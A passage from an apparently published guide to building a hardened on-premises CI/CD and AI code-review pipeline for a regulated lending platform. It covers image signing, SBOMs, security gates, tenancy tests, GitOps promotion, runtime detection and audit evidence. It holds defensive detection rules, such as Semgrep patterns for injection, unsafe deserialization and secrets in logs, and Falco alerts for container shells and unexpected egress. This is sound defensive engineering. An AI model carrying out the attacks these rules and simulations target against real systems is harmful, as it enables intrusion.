a fifteen-minute push credential per job.</li></ol><h3>4.7 Shared workflows</h3><p>Reusable workflows live in platform/.github/workflows/ and are called with uses: org/platform/.github/workflows/ci.yml@v1. Pin by tag; tags are protected. Service repositories keep a twenty-line workflow that calls the shared one. Changes to shared workflows require sec-approver review through CODEOWNERS on the platform repository.</p><h3>4.8 Exit criteria</h3><ul><li>A PR on a sample .NET repository triggers ci.yml on an ephemeral runner; the VM is gone within five minutes of completion</li><li>A job fetches a Vault secret via OIDC with no static secret configured in GitHub</li><li>An unsigned commit is rejected; a commit containing a fake cloud key is rejected at push</li><li>A runner cannot reach the internet directly, but can reach nuget.org through the proxy</li><li>A GHES restore from backup has been completed and documented</li></ul><h3>Part 5: Phase 2, registry, signing, SBOM and provenance (weeks 4 to 5)</h3><p>At the end of this phase every image has a signature, an SBOM and a provenance attestation, and an unsigned image cannot be pulled by a cluster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNTyTh1MaOURjJ8EXDydXw.png" /><figcaption>Every release image carries three things: who built it, what is in it, and where it came from. The cluster checks all three before it runs.</figcaption></figure><h3>5.1 Harbor</h3><ol><li>Install Harbor on harbor-01 with the offline installer, TLS from Vault PKI, storage on the 1 TB disk or on a MinIO bucket in Zone 4.</li><li>OIDC to the IdP. Projects: base (approved base images, admin-only push), build (CI pushes here), release (only the promotion job pushes here), tools (scanner and runner images).</li><li>Trivy scanning on push for every project. On release, &quot;prevent vulnerable images from running&quot; at severity High. On build, warn only, since gates enforce there.</li><li>Cosign verification on release so Harbor itself rejects unsigned pulls.</li><li>Replicate release to a second Harbor near production so production never depends on the build zone being up.</li><li>Retention: build keeps thirty days; release keeps everything for the regulatory period, with immutable tags.</li><li>A proxy cache project pointed at the Nexus Docker proxy, never the internet.</li></ol><h3>5.2 Base images</h3><ol><li>Choose two: the chiseled ASP.NET runtime image for .NET, and an unprivileged nginx image for React static builds. Pull weekly through Nexus, scan, sign, push to base/.</li><li>Application Dockerfiles may only FROM harbor.build.internal/base/.... Enforce with a Semgrep rule in CI and a Gatekeeper constraint at admission.</li><li>Multi-stage builds: SDK only in the build stage; the runtime stage contains the published app and nothing else, with no shell.</li></ol><h3>5.3 Signing</h3><p>Two options. Pick one and record the decision.</p><ul><li>Key-based cosign: the signing key lives in Vault’s transit engine, cosign sign --key hashivault://ci-signer-&lt;repo&gt;. Simple, no extra services, but you own key management.</li><li>Keyless with a private Sigstore: deploy Fulcio and Rekor on-prem; cosign sign uses the job&#39;s OIDC identity. Signatures are tied to repo, branch and workflow, and Rekor gives auditors a tamper-evident log. Two more services to run.</li></ul><p>Start key-based with one key per repository and move to private Sigstore once the pipeline is stable. In both cases, signing runs only in the shared workflow on protected branches, never in a PR job.</p><h3>5.4 SBOM and provenance</h3><ol><li>After the image is built: syft &lt;image&gt; -o cyclonedx-json &gt; sbom.cdx.json, then cosign attest --predicate sbom.cdx.json --type cyclonedx &lt;image&gt;.</li><li>Generate SLSA provenance recording builder id (runner image version), source repo, commit SHA, workflow file hash and build parameters. Attach with cosign attest --type slsaprovenance.</li><li>Upload SBOM and provenance to the evidence store keyed by digest, and to DefectDojo so a CVE discovered later in a NuGet package maps back to affected releases automatically.</li><li>Scan the SBOM with Grype as well as the image with Trivy. The SBOM catches .NET assemblies that image scanners miss.</li></ol><h3>5.5 Promotion</h3><p>A build/ image becomes release/ only through the promotion job (Part 8), which re-verifies signature and SBOM, re-scans, copies by digest with crane copy, re-signs under the release key, and writes a promotion record to evidence. Release tags are immutable and follow v&lt;semver&gt;-&lt;shortsha&gt;.</p><h3>5.6 Exit criteria</h3><ul><li>cosign verify succeeds for every image in release/ and fails for any image in build/</li><li>SBOM attestation visible in Harbor and in DefectDojo</li><li>Pulling an unsigned image from release/ is rejected by Harbor</li><li>The base image refresh job runs weekly and produces a new signed digest</li></ul><h3>Part 6: Phase 3, security gates (weeks 5 to 7)</h3><p>Every PR passes eleven gates before a human reviews it, and every release candidate passes four more on staging. All gates fail closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*31u1emjD0VXXdnGHIw6dGA.png" /><figcaption>Eleven gates on the pull request, four more on staging. The fast ones run first because nobody waits more than two minutes for a red check.</figcaption></figure><h3>6.1 Pre-commit</h3><p>A .pre-commit-config.yaml in every repository: gitleaks, dotnet format --verify-no-changes, eslint, prettier, a Conventional Commits check with ticket id. CI re-runs the same hooks, so skipping them locally gains nothing.</p><h3>6.2 The eleven PR gates</h3><p>Format: number, gate, tool, blocking threshold, where the output goes.</p><ol><li>Secrets in diff and history. gitleaks with --log-opts on the PR range. Any finding blocks. DefectDojo and PR annotation.</li><li>Lint and format. dotnet format, eslint. Any error blocks. PR annotation.</li><li>Unit tests and coverage. dotnet test, vitest. A failure, or a coverage drop over two points on changed files, blocks. SonarQube.</li><li>SAST. SonarQube quality gate: zero new blocker or critical, all new hotspots reviewed. Gate failure blocks. Sonar and DefectDojo.</li><li>Custom SAST rules. Semgrep with p/csharp, p/typescript, p/owasp-top-ten plus your own rules (6.7). Any ERROR blocks. DefectDojo and PR annotation.</li><li>Dependency vulnerabilities. Trivy fs and Grype on the SBOM. Any Critical, or High older than thirty days with a fix, blocks. DefectDojo.</li><li>Licence policy. Syft SBOM against a policy file (allow MIT, Apache, BSD, MS-PL; deny GPL and AGPL in runtime dependencies). Any deny blocks. DefectDojo.</li><li>Dockerfile, Kubernetes, Helm. Checkov, kube-linter, hadolint. Any HIGH blocks. PR annotation.</li><li>Base image check. Semgrep rule that FROM matches harbor.build.internal/base/. Any violation blocks.</li><li>AI review (Part 7). A High finding blocks in blocking mode. PR comments and evidence.</li><li>Tenancy and authorization tests (6.6). Any failure blocks. Test report.</li></ol><p>Gates 1, 2, 5, 8 and 9 finish in under two minutes; run them first. Gates 3, 4, 6, 7 and 11 run in parallel after.</p><h3>6.3 SonarQube</h3><ol><li>Install SonarQube Server on sonar-01 with PostgreSQL 15 and OIDC login. Install the C#, TypeScript, Docker, IaC and Secrets analysers.</li><li>A quality profile per language extending “Sonar way” with every security rule at Major or above.</li><li>A quality gate named “Regulated”: new code coverage at least 80 percent, zero new blocker or critical, 100 percent of new hotspots reviewed, duplications on new code under 3 percent.</li><li>In the workflow: dotnet sonarscanner begin /k:&lt;repo&gt; /d:sonar.token=... /d:sonar.pullrequest.key=$PR /d:sonar.qualitygate.wait=true, build, test with coverage in OpenCover format, dotnet sonarscanner end. The wait=true flag makes the step itself fail on a failed gate.</li><li>Branch analysis for main; PR decoration writes issues into the GHES PR through a GitHub App you create on GHES.</li></ol><h3>6.4 Dependency management</h3><ol><li>Self-hosted Renovate opens PRs for NuGet and npm updates, grouped weekly, security updates immediately. It reads only from Nexus.</li><li>Lock files committed: packages.lock.json with RestoreLockedMode, package-lock.json with npm ci.</li><li>A nightly job re-scans every release/ SBOM against the latest vulnerability database (Trivy DB mirrored into Nexus daily). A new Critical on a released image opens a DefectDojo finding with a seven-day SLA and pages on-call.</li></ol><h3>6.5 The four staging gates</h3><ol><li>DAST. ZAP full scan with an authenticated context on the heavy runner. Any High, or more than five Medium, blocks.</li><li>API fuzzing. Schemathesis against your OpenAPI spec with an auth header, --checks all, twenty-minute budget. Any 5xx, schema violation or auth bypass blocks.</li><li>Known-vulnerability templates. Nuclei with cves/, misconfiguration/, exposures/. Any High blocks.</li><li>The tenancy suite from 6.6, against staging with two seeded tenants. Any failure blocks.</li></ol><p>ZAP needs an authenticated user. Seed a zap-tester account through the admin API, store its credentials in Vault, and give ZAP a context file with a script that performs the real login and refreshes the JWT.</p><h3>6.6 The tenancy and authorization suite</h3><p>For a multi-tenant financial platform this is the gate that matters most. Write it as xUnit integration tests against a running API (Testcontainers for PR runs, staging for release runs). Each test is a named control that maps to a due-diligence question.</p><ul><li>TEN-01: a user of tenant A requesting any resource id belonging to tenant B gets 404, never 403. 403 confirms the resource exists.</li><li>TEN-02: list endpoints with no filter return only the caller’s rows, verified by count against seeded data.</li><li>TEN-03: search, export and report endpoints respect tenancy on every filter path.</li><li>TEN-04: background jobs and event handlers carry tenant context; an event from A cannot update B’s rows.</li><li>AUTHZ-01: a maker cannot approve their own action.</li><li>AUTHZ-02: a client cannot draw outside the credit line it is locked to.</li><li>AUTHZ-03: role changes take effect within one token refresh; a revoked token is rejected.</li><li>LOG-01: logs for a full request contain no PII or secret pattern.</li><li>AUD-01: every state change on a financial object writes an audit row with actor, before, after, timestamp.</li></ul><p>Add a test whenever an auditor asks a question you had to answer by hand.</p><h3>6.7 Custom Semgrep rules</h3><p>Keep them in platform/semgrep/. Start with these ten:</p><ol><li>Raw SQL concatenation or FromSqlRaw with interpolation</li><li>[AllowAnonymous] on any controller outside /auth and /health</li><li>Controller action without [Authorize] and without an explicit policy</li><li>Logging calls whose arguments include properties named Iban, NationalId, Password, Token, Otp</li><li>HttpClient with ServerCertificateCustomValidationCallback returning true</li><li>JsonSerializer with TypeNameHandling.All</li><li>Random used for tokens, codes or ids (must be RandomNumberGenerator)</li><li>React: dangerouslySetInnerHTML, eval, localStorage holding a token</li><li>Dockerfile FROM not from the Harbor base project; USER root in the final stage</li><li>Kubernetes manifest without securityContext.runAsNonRoot</li></ol><h3>6.8 Vulnerability management</h3><ol><li>DefectDojo on dojo-01 with OIDC. One product per repository, one engagement per release.</li><li>Every scanner uploads its native report through the DefectDojo API from the shared workflow. DefectDojo deduplicates across tools.</li><li>SLAs: Critical seven days, High thirty, Medium ninety, Low next quarter. Breaches show on the compliance dashboard.</li><li>Risk acceptance requires sec-approver, a written justification and an expiry date. DefectDojo reopens the finding at expiry.</li></ol><h3>6.9 Exit criteria</h3><ul><li>A PR adding a hard-coded connection string is blocked by gate 1 within ninety seconds</li><li>A PR adding raw SQL interpolation is blocked by gate 5 with an annotation on the line</li><li>The full PR gate set completes in under twelve minutes on a typical change</li><li>Staging gates run on a release candidate and land in DefectDojo under the engagement</li><li>All nine tenancy controls pass and are listed in the evidence store</li></ul><h3>Part 7: Phase 4, the AI layer (weeks 6 to 9)</h3><p>AI runs in its own zone, sees only what a job sends it, and its output is treated as untrusted code.</p><h3>7.1 Decide the lane, in writing</h3><ul><li>Lane A: a vendor API over an allow-listed egress. PR diffs, file contents and prompts leave the network. Acceptable only with a written compliance decision that source code is not regulated data, a signed data processing agreement, and no customer data in repositories (enforced by gate 1 and a PII scanner).</li><li>Lane B: your own GPUs in Zone 3. Nothing leaves. Always acceptable.</li><li>Hybrid: B by default, A for repositories tagged public-safe (docs, marketing site, open-source tools).</li></ul><p>This guide builds Lane B and leaves a switch for A. Frontier vendor models are noticeably better at review and agentic coding than on-prem open-weight models. Expect to revisit the decision yearly with precision data in hand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UpM9cRtiECeaD5SQzl5nIQ.png" /></figure><h3>7.2 Model serving</h3><ol><li>gpu-01: Ubuntu 24.04, current GPU driver and CUDA, container toolkit. Verify both GPUs are visible.</li><li>Download model weights on a workstation with internet access, verify checksums, copy to gpu-01 through the bastion with the transfer logged. Candidates at the time of writing include the 32B-class open coding models. Check licences; some restrict commercial use. Record model, version, checksum and licence in evidence.</li><li>Run vLLM as a container from Harbor:</li></ol><pre>docker run --gpus all -v /models:/models \<br>  harbor.build.internal/tools/vllm:&lt;pinned&gt; \<br>  --model /models/&lt;name&gt; --tensor-parallel-size 2 \<br>  --max-model-len 32768 --quantization fp8 \<br>  --served-model-name reviewer \<br>  --api-key &quot;$(vault read -field=key ai/vllm)&quot;</pre><p>--tensor-parallel-size 2 splits the model across both GPUs. --max-model-len 32768 is the context window; a PR diff plus rule files fits, and larger diffs are chunked by file. FP8 halves memory with no quality loss I could measure. Expose it behind an Envoy or nginx sidecar with TLS from Vault PKI and mTLS required from Zone 1.</p><ol><li>A second, smaller 7B model on the same box for cheap tasks: commit message drafts, triage summaries.</li><li>Log every request’s metadata (caller, repo, PR, prompt hash, tokens, latency) to Zone 4. Do not log prompt bodies by default; keep them thirty days in a separate encrypted bucket for incident review, then delete.</li><li>Delete Zone 3’s egress firewall rule. The zone is now air-gapped except for Zone 1 and Zone 4 traffic.</li><li>Optional: a LiteLLM gateway on reviewer-01 lets coding agents that expect an OpenAI- or Anthropic-compatible endpoint use the same tooling in either lane.</li></ol><h3>7.3 The prompt and rules repository</h3><p>platform/ai/ holds REVIEW.md (reviewer instructions), AGENT.md (coding-agent rules), rules/*.md per domain (tenancy, maker-checker, logging, .NET and React conventions), and evals/ (known-bad diffs with expected findings). Changes require sec-approver review. The reviewer loads REVIEW.md plus the rules matching the touched paths.</p><h3>7.4 Service 1: the PR reviewer</h3><ol><li>A container on reviewer-01, triggered by the ai-review job in the shared workflow.</li><li>It fetches the diff (excluding lock files, generated code, migration snapshots and files over 2,000 lines), chunks by file, sends each chunk with the rules to vLLM, asks for JSON findings only, validates every finding against the real diff (file exists, line in range, quoted code present), drops anything that fails, deduplicates, posts inline comments and a summary through the GHES REST API (POST /repos/{o}/{r}/pulls/{n}/reviews with event: COMMENT), and sets a commit status ai-review.</li><li>Modes: advisory (status always success) for the first month; blocking (High finding fails the status) once the evals show precision above 70 percent on High.</li><li>It can never approve. Its GitHub App has no approval permission, only comments and statuses.</li><li>Every run writes {pr, sha, model, prompt_hash, findings, mode, verdict} to Zone 4.</li><li>Developers react with thumbs up or down; a nightly job turns reactions into a precision dashboard per rule. Rules under 50 percent get rewritten or removed.</li></ol><p>The REVIEW.md skeleton:</p><pre>You review pull requests for a regulated multi-tenant lending platform (.NET 8, React/TS, Kubernetes).<br>Report only real defects. Never comment on style. Output JSON only.<br><br>HIGH (blocking): cross-tenant data access; missing [Authorize]; maker-checker bypass;<br>secrets or PII in logs; SQL or command injection; disabled TLS validation; unsafe<br>deserialization; weak randomness for tokens/OTP; financial arithmetic in floating point;<br>missing audit row on a state change to a financial object.<br>MEDIUM: missing tests on tenancy paths; unbounded queries; retry without idempotency;<br>error messages leaking internals; missing input validation on external-facing DTOs.<br>LOW: anything else worth a human&#39;s attention.<br>For each finding give file, line in the new file, title, one paragraph, and a concrete fix.<br>If the diff is clean, return an empty findings list.</pre><h3>7.5 Service 2: the coding agent</h3><ol><li>Work packages are markdown specs with acceptance criteria and a test list, stored in specs/ and approved by a human before any agent runs.</li><li>An engineer triggers workflow_dispatch: agent-implement with the spec path. The job runs on an ephemeral heavy runner in a container with the repo, the toolchain and network access only to vLLM and Nexus.</li><li>The agent works in branch agent/&lt;spec-id&gt;, must produce passing tests for every acceptance criterion, and opens a PR authored by a bot account. The PR body links the spec, lists every command run, and includes the transcript hash.</li><li>Agent PRs go through every gate in Part 6 plus the reviewer, then a human. Agent PRs cannot touch /security, /auth, /tenancy, Kubernetes manifests or CI files: CODEOWNERS routes those to sec-approver and a Semgrep rule fails the PR if the agent branch modifies them.</li><li>Each run has a token and wall-clock cap.</li><li>The agent never has credentials to staging, production, Vault production paths or Harbor release/.</li></ol><h3>7.6 Service 3: test generation</h3><p>On every PR the reviewer also proposes missing tests for changed public methods and tenancy-relevant paths, as a separate PR tests/&lt;pr-number&gt; so the human can accept or discard them without touching the original PR.</p><h3>7.7 Service 4: finding triage</h3><p>A nightly job pulls new DefectDojo findings, asks the model for a plain-language explanation, likely exploitability in this codebase and a suggested fix, and writes them back as notes. It never changes severity or closes findings.</p><h3>7.8 Service 5: evidence assembly</h3><p>On workflow_dispatch: ddq-pack, an agent reads the evidence store and drafts a due-diligence pack (Part 10). The output is a PDF marked DRAFT until a compliance officer signs it.</p><h3>7.9 The governance policy</h3><p>One page, signed by the CTO and compliance.</p><ol><li>Approved uses: the five services above. Anything else needs a written extension.</li><li>Approved models and versions with licence and checksum in platform/ai/MODELS.md.</li><li>AI-authored code is labelled: bot commits carry Co-authored-by, PRs carry an ai-generated label, and provenance records the fraction of lines from agent commits.</li><li>Humans own spec approval, PR approval, severity decisions, production approval and evidence sign-off.</li><li>Kill switch: a repository variable AI_ENABLED=false in platform disables every AI job within one pipeline run.</li><li>If an AI-authored change causes a production incident, the post-mortem records it and the relevant rule file is updated before the agent is re-enabled for that repository.</li><li>Quarterly review: precision, cost per PR, incidents, and whether Lane A should be revisited.</li></ol><h3>7.10 Exit criteria</h3><ul><li>vLLM answers a request from a runner over mTLS; the same request from a developer VLAN is refused</li><li>The reviewer posts inline comments on a test PR and its evidence record is in Zone 4</li><li>The eval suite runs weekly and reports precision and recall per rule</li><li>The coding agent completes one small spec end to end and its PR passes all gates</li><li>AI_ENABLED=false stops all five services and the pipeline still passes</li></ul><h3>Part 8: Phase 5, deployment (weeks 8 to 10)</h3><p>Clusters pull; nothing pushes into them. The desired state of every environment is a signed commit in the deploy repository, and the cluster refuses anything that is not signed, scanned and policy-compliant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qlrjniH34ae2svuKJVxx-w.png" /><figcaption>There is exactly one road to production: a signed digest, two approvers from two teams, and a canary. Everything else is break-glass.</figcaption></figure><h3>8.1 Cluster preparation (staging and production, identical)</h3><ol><li>Kubernetes 1.30 or later, CIS Kubernetes Benchmark applied (kube-bench weekly to Zone 4), audit logging with a policy that records request bodies for secrets, rolebindings and app namespaces at RequestResponse level.</li><li>Istio with PeerAuthentication STRICT mesh-wide and AuthorizationPolicy default deny per namespace, then explicit allows per service.</li><li>OPA Gatekeeper with Ratify, enforcementAction: deny on production and dryrun for two weeks on staging then deny. Install the Gatekeeper policy library (gatekeeper-library) and enable: K8sPSPPrivilegedContainer, K8sPSPHostNamespace, K8sPSPAllowedUsers (run as non-root), K8sPSPReadOnlyRootFilesystem, K8sPSPSeccomp, K8sContainerLimits, K8sRequiredLabels (version, release id, change ticket), K8sDisallowedTags (latest), K8sAllowedRepos (release registry only). Add the custom K8sSignedImage template from Appendix C, which asks Ratify to verify the cosign signature and the SBOM and provenance attestations. Run gator test and opa test on every policy PR, and run the same Rego through conftest in the deploy repository&#39;s CI so a bad manifest fails before it reaches the cluster.</li><li>Network policies: default deny ingress and egress per namespace, then allow DNS, the Istio control plane and explicit service paths. Database access only from the namespace that owns the service.</li><li>External Secrets Operator with Vault Kubernetes auth. Pods get secrets as mounted volumes, never as environment variables in manifests. The production Vault path is readable only by production ESO.</li><li>No human kubectl credentials on production. Break-glass: ticket, second-person approval, a one-hour client certificate from Vault, every command recorded on the bastion, transcript attached to the ticket.</li></ol><h3>8.2 Policy as code, layered</h3><p>I use OPA rather than a Kubernetes-only engine, because the same Rego runs at every enforcement point: manifests in CI, admission in the cluster, and later, if you want it, API authorization inside services and request filtering in Istio. One language, one test suite, several places it bites. Each gap has one owner:</p><ol><li>Pod Security Admission, built into Kubernetes, at restricted on every app namespace. Covers the basic pod hardening with no extra components, so Gatekeeper only handles what PSA cannot.</li><li>Gatekeeper constraints in Rego for everything above PSA: allowed registries, required labels, resource limits, no latest, tenancy labels, Istio sidecar present, no plaintext secrets in environment variables. Every constraint has an _test.rego beside it.</li><li>Gatekeeper mutation (Assign, ModifySet) to inject defaults such as the seccomp profile, runAsNonRoot and standard labels, so developers do not have to remember them.</li><li>Ratify as Gatekeeper’s external data provider for supply-chain trust: cosign signature, SBOM attestation, provenance builder id. Two replicas, fail closed.</li><li>The same Rego in the deploy repository’s CI through conftest, so a bad manifest fails in the PR rather than at admission, plus gator verify for the constraint tests.</li><li>Harbor as the floor: cosign verification on the release project, so an unsigned image cannot even be pulled, whatever admission does.</li></ol><p>If any layer is down, the result is a rejected deploy, never a silent pass.</p><h3>8.3 The deploy repository</h3><pre>deploy/<br>  apps/&lt;service&gt;/base/            Helm chart or Kustomize base<br>  apps/&lt;service&gt;/overlays/stg/    image digest, replicas, config<br>  apps/&lt;service&gt;/overlays/prd/<br>  argocd/applications/            one Application per service per env<br>  policies/                        Gatekeeper templates, constraints, Ratify config, applied by Argo first</pre><p>Images by digest, never tag. Only the promotion job may change overlays/prd. Humans change overlays/stg via PR. Every commit signed; the main ruleset requires release-approver and sec-approver on anything under overlays/prd or policies/.</p><h3>8.4 Argo CD</h3><ol><li>Install with OIDC. RBAC: dev read-only, release-approver can sync staging, nobody can manually sync production (automated sync, prune: false, selfHeal: true).</li><li>Argo’s Git credential is read-only, its Harbor credential pull-only, its cluster credentials per-environment service accounts with namespace-scoped RBAC.</li><li>Sync waves: policies (-2), namespaces and network policies (-1), secrets (0), apps (1).</li><li>Notifications to your on-prem chat and to Zone 4 on every sync with commit SHA, actor and result.</li></ol><h3>8.5 Progressive delivery</h3><p>Argo Rollouts with Istio traffic splitting: 10 percent for ten minutes, 50 percent for ten minutes, then 100. Analysis templates query Prometheus: 5xx rate under 0.5 percent, p95 latency under the SLO, no new Falco critical alerts in the namespace. Any failure rolls back automatically and opens an incident. Database migrations run as a pre-sync Job, must be backward compatible (expand/contract), and are reviewed by sec-approver when they touch financial tables.</p><h3>8.6 The promotion job, the only path to production</h3><p>Runs in the deploy repository on the deploy-prd runner group.</p><ol><li>Input: a release candidate digest from build/ that passed staging gates (the job checks the DefectDojo engagement and the staging-security status on the commit).</li><li>Verify signature and attestations; re-scan against the latest vulnerability database; fail on Critical.</li><li>crane copy by digest to release/; cosign sign with the release key; re-attach SBOM and provenance.</li><li>Open a PR against deploy/overlays/prd/&lt;service&gt; changing only the digest, with release notes, change ticket, evidence links and SBOM diff in the body.</li><li>The GHES production environment requires two reviewers from different groups, a thirty-minute wait timer (skippable only via a documented emergency change), and a deployment window check.</li><li>Merge triggers Argo and the canary. On completion the job writes a release record to evidence: digest, signatures, approvals with identities and timestamps, gate results, rollout analysis.</li></ol><h3>8.7 Rollback</h3><p>Revert the promotion PR. Argo syncs the previous digest, still in release/ and still signed. Rollback is a normal change with a one-approver emergency rule; the evidence record links the incident.</p><h3>8.8 Exit criteria</h3><ul><li>A manifest referencing an unsigned image is rejected by Gatekeeper on staging, with the Ratify verification result in the denial message</li><li>A merge to main reaches staging via Argo with no human action</li><li>The promotion PR requires two approvals; one approver cannot merge</li><li>Canary rollback fires when a synthetic 5xx spike is injected</li><li>Break-glass access exercised and the session transcript is in Zone 4</li></ul><h3>Part 9: Phase 6, runtime security, observability and continuous testing (weeks 10 to 11)</h3><h3>9.1 Runtime detection</h3><ol><li>Falco on every node with default rules plus custom ones: a shell spawned in an app container, outbound from an app pod to anything but its allowed services, a write to a read-only path, a process not in the image’s SBOM. Alerts to Zone 4 and on-call; Critical alerts also block the canary.</li><li>Gatekeeper’s audit controller reports drift every sixty seconds: any object in a production namespace not owned by Argo raises an alert. Argo selfHeal reverts it; the alert stays for review.</li><li>Istio telemetry logs every service-to-service call with source and destination identity; anything not matching an AuthorizationPolicy is denied and logged.</li></ol><h3>9.2 Logging and audit</h3><ol><li>Fluent Bit ships container logs, Kubernetes audit logs, Istio access logs, Falco events, Vault audit, the GHES audit stream, Harbor and Argo events to OpenSearch in Zone 4. Index lifecycle: hot thirty days, warm one year, cold to MinIO WORM for the regulatory period.</li><li>A PII filter in Fluent Bit (Lua) masks national ids, IBANs, phone and card numbers before indexing. Test it with the LOG-01 fixture.</li><li>compliance-reader gets read-only dashboards; nobody can delete indices without two-person approval.</li></ol><h3>9.3 Metrics and SLOs</h3><p>Prometheus per cluster with remote write to obs-01 (Thanos or Mimir for retention). Grafana dashboards for pipeline (lead time, deploy frequency, change failure rate, MTTR), security (open findings by SLA state, gate pass rate, time to remediate) and AI (reviewer precision, agent success rate, tokens per PR). Alert on SLO burn rate, not raw thresholds.</p><h3>9.4 Continuous testing on the running system</h3><ul><li>Every release: the Part 6 staging gates (ZAP, Schemathesis, Nuclei) on staging.</li><li>Weekly: deep authenticated DAST with all templates, from zap-01, on staging.</li><li>Weekly: kube-bench and kube-hunter on staging and production (read-only).</li><li>Weekly: OpenSCAP on all VMs.</li><li>Monthly: an attack simulation from a compromised-pod scenario (an Ansible playbook that attempts lateral movement, secret reads and egress), expected to be blocked and detected, on staging.</li><li>Monthly: restore test of GHES, Vault, Harbor and MinIO into an isolated VLAN.</li><li>Quarterly: independent penetration test by an external firm, scope agreed with compliance, report into DefectDojo, on a production replica or staging.</li><li>Yearly: full red-team exercise and DR failover.</li></ul><p>Every finding lands in DefectDojo with an SLA. External pen test findings get a sec-approver retest before closure.</p><h3>9.5 The incident feedback loop</h3><p>A production incident opens a post-mortem template that asks two questions: which gate should have caught this, and did AI-authored code contribute. The answer becomes a Semgrep rule, a tenancy test, a Rego constraint or a rule-file update, with a PR linked from the post-mortem.</p><h3>9.6 Exit criteria</h3><ul><li>A shell spawned in a staging pod produces a Falco alert in OpenSearch within thirty seconds</li><li>A manual kubectl edit on staging is reverted by Argo and alerted</li><li>The PII filter passes the LOG-01 fixture</li><li>Weekly scan results appear in DefectDojo with correct engagement and SLA</li><li>Grafana shows the four DORA metrics and open findings by SLA state</li></ul><h3>Part 10: Phase 7, evidence store, audit trail and due-diligence packs (weeks 11 to 12)</h3><p>A regulator or bank auditor should be able to pick any production release and see, within minutes, who changed what, which gates it passed, who approved it and what it contained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SqPF2ys7FWmyCrNfxkdO0A.png" /><figcaption>What an auditor gets when they pick a release at random. It used to take me two days; now it takes a query</figcaption></figure><h3>10.1 The evidence store</h3><ol><li>MinIO four-node cluster in Zone 4, erasure coding EC:2, TLS from Vault PKI, OIDC for humans.</li><li>Buckets with Object Lock in Compliance mode (cannot be shortened even by root): evidence-releases (seven years or your period), evidence-pipeline (three years), evidence-scans (three years), evidence-access (seven years), ai-prompts (thirty days, Governance mode). Confirm periods with compliance before creating; Compliance-mode locks are irreversible.</li><li>Writers have PutObject only. Nobody has DeleteObject. Versioning on.</li><li>Naming: &lt;type&gt;/&lt;yyyy&gt;/&lt;mm&gt;/&lt;repo&gt;/&lt;sha-or-digest&gt;/&lt;artifact&gt;.json. Every object carries producer, tool version, timestamp and a SHA-256 signed with a Vault transit key.</li><li>Replicate to a second site or array. Test restore quarterly.</li></ol><h3>10.2 What gets written, by whom</h3><ul><li>PR opened, updated, approved, merged: the GHES audit stream, to access/…/pr-&lt;n&gt;.json</li><li>Each gate result: the shared workflow’s evidence-put step, to pipeline/…/&lt;sha&gt;/gate-&lt;name&gt;.json with tool version, config hash and result</li><li>Scanner native reports: same step, to scans/…/&lt;sha&gt;/&lt;tool&gt;.sarif</li><li>Image built, signed, attested: the build job, to releases/…/&lt;digest&gt;/sbom.cdx.json, provenance.json, signature.json</li><li>AI review, agent run, triage: the AI services, to pipeline/…/ai-&lt;service&gt;-&lt;run&gt;.json</li><li>Promotion, approvals, rollout analysis: the promotion job and Argo notifications, to releases/…/&lt;digest&gt;/release-record.json</li><li>Break-glass sessions: the bastion, to access/…/breakglass-&lt;ticket&gt;.txt</li><li>Vault audit, Kubernetes audit, Falco: Fluent Bit, to OpenSearch and cold tier</li><li>Pen test reports, risk acceptances, post-mortems: humans via DefectDojo and a compliance repo</li></ul><h3>10.3 Control mapping</h3><p>compliance/controls.yaml maps each control to the evidence query that proves it:</p><pre>- id: SDLC-04<br>  name: Segregation of duties on production changes<br>  frameworks: [ISO27001:A.5.3, SOC2:CC8.1, PCI-DSS:6.5.3]<br>  evidence: releases/*/release-record.json  # approvers != author, two groups<br>  test: scripts/check-sod.py<br>- id: TEN-01<br>  name: Cross-tenant read isolation<br>  frameworks: [ISO27001:A.8.3, internal:multi-tenant]<br>  evidence: pipeline/*/gate-tenancy.json  # TEN-01 passed on release sha<br>  test: scripts/check-gate.py --gate tenancy --control TEN-01</pre><p>A nightly job runs every test: script and writes a control status report. Red controls page the security lead. Use whichever frameworks your regulator and partners ask for.</p><h3>10.4 Due-diligence pack generation</h3><p>workflow_dispatch: ddq-pack with inputs from-date, to-date, audience. The job:</p><ol><li>Queries evidence and DefectDojo for the period.</li><li>Renders SDLC overview, control status, releases with gate summaries, findings by severity and SLA, pen test summary, access review results, AI governance summary, and appendices with SBOMs and signatures.</li><li>Has the evidence agent draft the narrative paragraphs from the data. The numbers come from queries, never from the model.</li><li>Outputs a PDF watermarked DRAFT. A compliance officer reviews, signs with a Vault-issued certificate, and the signed copy is stored beside the draft. Only signed copies leave the company.</li></ol><h3>10.5 Access reviews</h3><p>Quarterly: export IdP groups, GHES membership and roles, Harbor and Argo RBAC, Vault policies and break-glass usage. A script diffs against the previous quarter; each owner confirms their list in a ticket. Ticket ids go to evidence. Anything unconfirmed after fourteen days is removed.</p><h3>10.6 Exit criteria</h3><ul><li>Deleting an object in evidence-releases as MinIO root fails</li><li>For a sample release, one script prints author, approvers, gate results, SBOM and signature in under a minute</li><li>The controls report runs nightly and is green for every control with a test</li><li>A draft pack for the last thirty days is generated and reviewed by compliance</li><li>The first quarterly access review is completed and stored</li></ul><h3>Part 11: Rollout, team, cost and risks</h3><h3>Timeline</h3><ul><li>Weeks 1 to 2, foundation: zones, IdP, Vault, PKI, mirrors, golden image. Platform lead.</li><li>Weeks 2 to 4, GHES and runners: first PR on an ephemeral runner, OIDC to Vault. Platform engineer.</li><li>Weeks 4 to 5, registry: signed images with SBOM in Harbor. Platform engineer.</li><li>Weeks 5 to 7, gates: all eleven PR gates blocking, staging gates on release candidates. Security engineer plus one developer.</li><li>Weeks 6 to 9, AI: vLLM live, reviewer in advisory, agent completes one spec. Platform lead plus one developer.</li><li>Weeks 8 to 10, deploy: GitOps to staging, two-approver promotion, canary. Platform engineer.</li><li>Weeks 10 to 11, runtime: Falco, audit, PII filter, weekly scans. Security engineer.</li><li>Weeks 11 to 12, evidence: WORM store, control map, first pack. Security engineer plus compliance.</li><li>Weeks 13 to 24, hardening: reviewer to blocking, private Sigstore, second-site replication, first external pen test of the new pipeline.</li></ul><p>Migrate existing services one at a time onto the shared workflow, lowest risk first. Keep the old pipelines readable but frozen until each service has shipped twice through the new path.</p><h3>Team</h3><p>Platform lead at half time for twelve weeks then a fifth; 